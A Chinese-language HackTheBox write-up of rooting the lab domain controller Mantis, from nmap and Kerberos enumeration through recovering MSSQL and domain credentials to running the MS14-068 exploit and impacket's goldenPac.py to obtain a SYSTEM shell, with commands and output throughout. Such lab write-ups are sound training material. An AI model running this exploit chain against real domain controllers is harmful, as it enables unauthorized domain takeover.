HackTheBox Writeup之拿下Mantis主机权限过程
导语：本篇文章我们将介绍拿下Mantis主机权限的过程，过程中需要很多的耐心和一点点的枚举才能成功。
本次我们要拿下的主机是Mantis，我们需要很多的耐心和一点点的枚举才能成功。最终的利用姿势也非常酷，因为我以前从未做过类似的事情。真的很高兴可以看到一个域控制器最终能在HackTheBox中弹出一个Shell。
端口扫描
让我们开始使用nmap扫描。
[email protected]:~/htb/mantis# nmap -A 10.10.10.52 Starting Nmap 7.50 ( https://nmap.org ) Nmap scan report for 10.10.10.52 Host is up (0.11s latency). Not shown: 981 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4) 88/tcp open tcpwrapped 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM | ms-sql-ntlm-info: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: MANTIS | DNS_Domain_Name: htb.local | DNS_Computer_Name: mantis.htb.local |_ Product_Version: 6.1.7601 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2018-02-09T14:23:56 |_Not valid after: 2048-02-09T14:23:56 |_ssl-date: 2018-02-09T14:30:53+00:00; 0s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 8080/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 |_http-title: Tossed Salad - Blog 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.50%E=4%D=2/9%OT=53%CT=1%CU=35559%PV=Y%DS=2%DC=T%G=Y%TM=5A7DB115 OS:%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%CI=I%TS=7)SEQ(SP=101%GCD=1 OS:%ISR=107%TS=7)SEQ(SP=103%GCD=1%ISR=108%TI=RD%CI=I%TS=8)OPS(O1=M54DNW8ST1 OS:1%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST OS:11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80 OS:%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R OS:=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F= OS:AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T= OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0 OS:%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=1 OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | ms-sql-info: | 10.10.10.52:1433: | Version: | name: Microsoft SQL Server 2014 RTM | number: 12.00.2000.00 | Product: Microsoft SQL Server 2014 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | smb-os-discovery: | OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1) | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 | Computer name: mantis | NetBIOS computer name: MANTIS\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: mantis.htb.local |_ System time: 2018-02-09T09:30:52-05:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required |_smbv2-enabled: Server supports SMBv2 protocol TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 52.42 ms 10.10.14.1 2 252.79 ms 10.10.10.52 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 264.56 seconds
OK，扫描完毕，在这里我们有相当多的东西可以用来分析。我们发现这台主机开放了LDAP端口，可以说明这是一个域控制器。8080端口上似乎正在运行着一个IIS站点，所以让我们来看看页面。
除了登录信息外，没有太多的信息，连用户名也不知道。使用gobuster扫描后除了与Orchard网站相关的目录之外，也没有返回任何东西。我们可以尝试通过kerberos来列举用户名，看看我们是否可以得到某些东西。
[email protected]:~/htb/mantis# nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=/usr/share/seclists/Usernames/Names/names.txt 10.10.10.52 Starting Nmap 7.50 ( https://nmap.org ) Nmap scan report for 10.10.10.52 Host is up (0.068s latency). PORT STATE SERVICE 88/tcp open kerberos-sec | krb5-enum-users: | Discovered Kerberos principals |_ [email protected]
现在我们拿到一个用户名。但是，在尝试使用将james或[email protected]作为之前的Orchard站点的登录页面的用户名并猜解密码后，我们只是收到以下消息：
在这种情况下，似乎对于大多数人来说都比较棘手。让我们启动nmap并运行完整的端口扫描，来看看是否有我们最初的扫描未找到的其他端口。
[email protected]:~/htb/mantis# nmap -p- 10.10.10.52 -T4 Starting Nmap 7.50 ( https://nmap.org ) Initiating Ping Scan at 10:05 Scanning 10.10.10.52 [4 ports] Completed Ping Scan at 10:05, 0.42s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:05 Completed Parallel DNS resolution of 1 host. at 10:05, 6.18s elapsed Initiating SYN Stealth Scan at 10:05 Scanning 10.10.10.52 [65535 ports] PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1337/tcp open waste 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5722/tcp open msdfsr 8080/tcp open http-proxy 9389/tcp open adws 47001/tcp open winrm 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49157/tcp open unknown 49158/tcp open unknown 49164/tcp open unknown 49166/tcp open unknown 49168/tcp open unknown 50255/tcp open unknown
这次扫描需要很长一段时间，但我们确实看到了1337端口是开放的。如果我们用浏览器访问这个端口，会看到默认的IIS登录页。
让我们使用gobuster为我们开启新发现的港口。
[email protected]:~/htb/mantis# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.52:1337 Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.52:1337/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 200,204,301,302,307 ===================================================== /secure_notes (Status: 301)
在扫描了很久之后，我们终于得到了一点有用的信息。
该web.config文件会引发404错误。dev_notes后面那一串看起来像是base64编码过的。页面的内容为我们提供了用户名——admin以及数据库名称orcharddb。
让我们尝试解码文件名中的base64。
[email protected]:~/htb/mantis# base64 -d <<< NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx 6d2424716c5f53405f504073735730726421
这与任何常见的加密散列长度都不匹配，但看起来像十六进制。
[email protected]:~/htb/mantis# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p [email protected][email protected]!
继续！让我们拿这些凭证进行登录。如果我们试图使用sqsh工具把sa作为用户名和我们之前得到的密码连接MSSQL，会返回访问拒绝。然而，使用admin用户和上面的那个密码，我们就登录进来了。
[email protected]:~/htb/mantis# sqsh -S 10.10.10.52 -U admin sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray Portions Copyright (C) 2004-2010 Michael Peppler This is free software with ABSOLUTELY NO WARRANTY For more information type '\warranty' Password: 1>
现在我们列举数据库orcharddb里面的表名。
注意：我已经格式化了下面的内容，sqsh的输出格式有些混乱。如果需要，你可以输出到CSV文件并查看其他内容。命令是：
go -m csv > /root/htb/mantis/table.csv
1> SELECT TABLE_NAME FROM orcharddb.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'; 2> go TABLE_NAME ------------------------------------------------------------------------------- blog_Orchard_Blogs_RecentBlogPostsPartRecord blog_Orchard_Blogs_BlogArchivesPartRecord blog_Orchard_Workflows_TransitionRecord blog_Orchard_Workflows_WorkflowRecord blog_Orchard_Workflows_WorkflowDefinitionRecord blog_Orchard_Workflows_AwaitingActivityRecord blog_Orchard_Workflows_ActivityRecord blog_Orchard_Tags_TagsPartRecord blog_Orchard_Framework_DataMigrationRecord blog_Orchard_Tags_TagRecord blog_Orchard_Tags_ContentTagRecord blog_Settings_ContentFieldDefinitionRecord blog_Orchard_Framework_DistributedLockRecord blog_Settings_ContentPartDefinitionRecord blog_Settings_ContentPartFieldDefinitionRecord blog_Settings_ContentTypeDefinitionRecord blog_Settings_ContentTypePartDefinitionRecord blog_Settings_ShellDescriptorRecord blog_Settings_ShellFeatureRecord blog_Settings_ShellFeatureStateRecord blog_Settings_ShellParameterRecord blog_Settings_ShellStateRecord blog_Orchard_Framework_ContentItemRecord blog_Orchard_Framework_ContentItemVersionRecord blog_Orchard_Framework_ContentTypeRecord blog_Orchard_Framework_CultureRecord blog_Common_BodyPartRecord blog_Common_CommonPartRecord blog_Common_CommonPartVersionRecord blog_Common_IdentityPartRecord blog_Containers_ContainerPartRecord blog_Containers_ContainerWidgetPartRecord blog_Containers_ContainablePartRecord blog_Title_TitlePartRecord blog_Navigation_MenuPartRecord blog_Navigation_AdminMenuPartRecord blog_Scheduling_ScheduledTaskRecord blog_Orchard_ContentPicker_ContentMenuItemPartRecord blog_Orchard_Alias_AliasRecord blog_Orchard_Alias_ActionRecord blog_Orchard_Autoroute_AutoroutePartRecord blog_Orchard_Users_UserPartRecord blog_Orchard_Roles_PermissionRecord blog_Orchard_Roles_RoleRecord blog_Orchard_Roles_RolesPermissionsRecord blog_Orchard_Roles_UserRolesPartRecord blog_Orchard_Packaging_PackagingSource blog_Orchard_Recipes_RecipeStepResultRecord blog_Orchard_OutputCache_CacheParameterRecord blog_Orchard_MediaProcessing_ImageProfilePartRecord blog_Orchard_MediaProcessing_FilterRecord blog_Orchard_MediaProcessing_FileNameRecord blog_Orchard_Widgets_LayerPartRecord blog_Orchard_Widgets_WidgetPartRecord blog_Orchard_Comments_CommentPartRecord blog_Orchard_Comments_CommentsPartRecord blog_Orchard_Taxonomies_TaxonomyPartRecord blog_Orchard_Taxonomies_TermPartRecord blog_Orchard_Taxonomies_TermContentItem blog_Orchard_Taxonomies_TermsPartRecord blog_Orchard_MediaLibrary_MediaPartRecord blog_Orchard_Blogs_BlogPartArchiveRecord (62 rows affected)
blog_Orchard_Users_UserPartRecord表看起来像是我们需要的。
1> USE orcharddb; 2> go 1> SELECT * FROM blog_Orchard_Users_UserPartRecord; 2> go Id UserName Email NormalizedUserName Password PasswordFormat HashAlgorithm PasswordSalt RegistrationStatus EmailStatus EmailChallengeToken CreatedUtc LastLoginUtc LastLogoutUtc ------------------------------------------------------------------------------- 2 admin admin AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A== Hashed PBKDF2 UBwWF1CQCsaGc/P7jIR/kg== Approved Approved NULL Sep 1 2017 01:44PM Sep 1 2017 02:03PM Sep 1 2017 02:06PM 15 James [email protected] james [email protected][email protected]! Plaintext Plaintext NA Approved Approved NULL Sep 1 2017 01:45PM NULL NULL (2 rows affected)
非常好，我们有james的密码。我们已经知道，作为james登录到webapp只会引发异常。那么让我们通过SMB测试这些凭据，看看它们是否是有效的Windows凭据。
[email protected]:~/htb/mantis# smbclient -L 10.10.10.52/ -U james WARNING: The "syslog" option is deprecated Enter WORKGROUP\james's password: Domain=[HTB] OS=[] Server=[] Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share
事实上它们是有效的。我们可以成功列出机器上的共享。快速浏览一下，在SYSVOL中我们可以看到两个组策略对象，但这里没有什么用处。
漏洞利用
我们的凭证不能用过winexe为我们返回一个Shell，所以我们必须找出另一种方式。既然我们知道这是一个域控制器，也许我们可以利用Kerberos为我们提供我们想要的东西。
有关如何进行攻击的详细说明，请点击此处：http://adsecurity.org/?p=541
关于如何在这里远程执行攻击可以看这篇写的很好的文章：http://blog.liatsisfotis.com/knock-and-pass-kerberos-exploitation.html
在按照文章中安装了指定的依赖关系并获取最新版本的impacket后，我们就可以开始进行攻击了。让我们编辑/etc/hosts并添加到域控制器中。
127.0.0.1 localhost 127.0.1.1 kali 10.10.10.52 mantis.htb.local mantis
现在我们配置 /etc/krb5.conf
libdefaults]
default_realm = HTB.LOCAL
# The following krb5.conf variables are only for MIT Kerberos.
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
[realms]
HTB.LOCAL = {
kdc = mantis.htb.local:88
admin_server = mantis.htb.local
default_domain = HTB.LOCAL
}
[domain_realm]
.domain.internal = HTB.LOCAL
domain.internal = HTB.LOCAL
让我们与DC同步一下我们的时间。
rdate -n 10.10.10.52
所以现在我们可以准备开始我们的攻击过程了。首先，我们使用impacket工具生成我们的票证。
[email protected]:~/htb/mantis/impacket-master/impacket-master/impacket/examples# kinit james Password for [email protected]: [email protected]:~/htb/mantis/impacket-master/impacket-master/impacket/examples# klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: [email protected] Valid starting Expires Service principal 02/09/2018 15:29:07 02/10/2018 01:29:07 krbtgt/[email protected] renew until 02/10/2018 15:28:37
接下来我们需要获取james的SID。
[email protected]:~/htb/mantis/impacket-master/impacket-master/impacket/examples# rpcclient -U james mantis Enter WORKGROUP\james's password: rpcclient $> lookupnames james james S-1-5-21-4220043660-4019079961-2895681657-1103 (User: 1)
现在我们运行我们的MS14-068 python exploit脚本。
[email protected]:~/htb/mantis/pykek-master# python ms14-068.py -u [email protected] -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis Password: [+] Building AS-REQ for mantis... Done! [+] Sending AS-REQ to mantis... Done! [+] Receiving AS-REP from mantis... Done! [+] Parsing AS-REP from mantis... Done! [+] Building TGS-REQ for mantis... Done! [+] Sending TGS-REQ to mantis... Done! [+] Receiving TGS-REP from mantis... Done! [+] Parsing TGS-REP from mantis... Done! [+] Creating ccache file '[email protected]'... Done!
默认情况下，客户端使用的任何用户票证授予票证（TGT）都是从位于的默认Kerberos凭据缓存中读取的，缓存位于/tmp/krb5cc_uid。所以，现在我们有了我们的缓存文件，我们需要将其复制到适当的位置。
[email protected]:~/htb/mantis/pykek-master# cp [email protected] /tmp/krb5cc_0
随着一切就绪，我们可以使用来自impacket的工具的goldenPAC.py来获得一个Shell。
[email protected]:~/htb/mantis/impacket-master/impacket-master/examples# ./goldenPac.py HTB.LOCAL/[email protected] Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies Password: [*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103 [*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657 [*] Attacking domain controller mantis.htb.local [*] mantis.htb.local found vulnerable! [*] Requesting shares on mantis..... [*] Found writable share ADMIN$ [*] Uploading file cugfXzCt.exe [*] Opening SVCManager on mantis..... [*] Creating service QcYY on mantis..... [*] Starting service QcYY..... [!] Press help for extra shell commands Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami & hostname nt authority\system mantis
现在，我们拿到了SYSTEM用户的Shell！通过这个Shell我们就可以拿到user.txt和root.txt。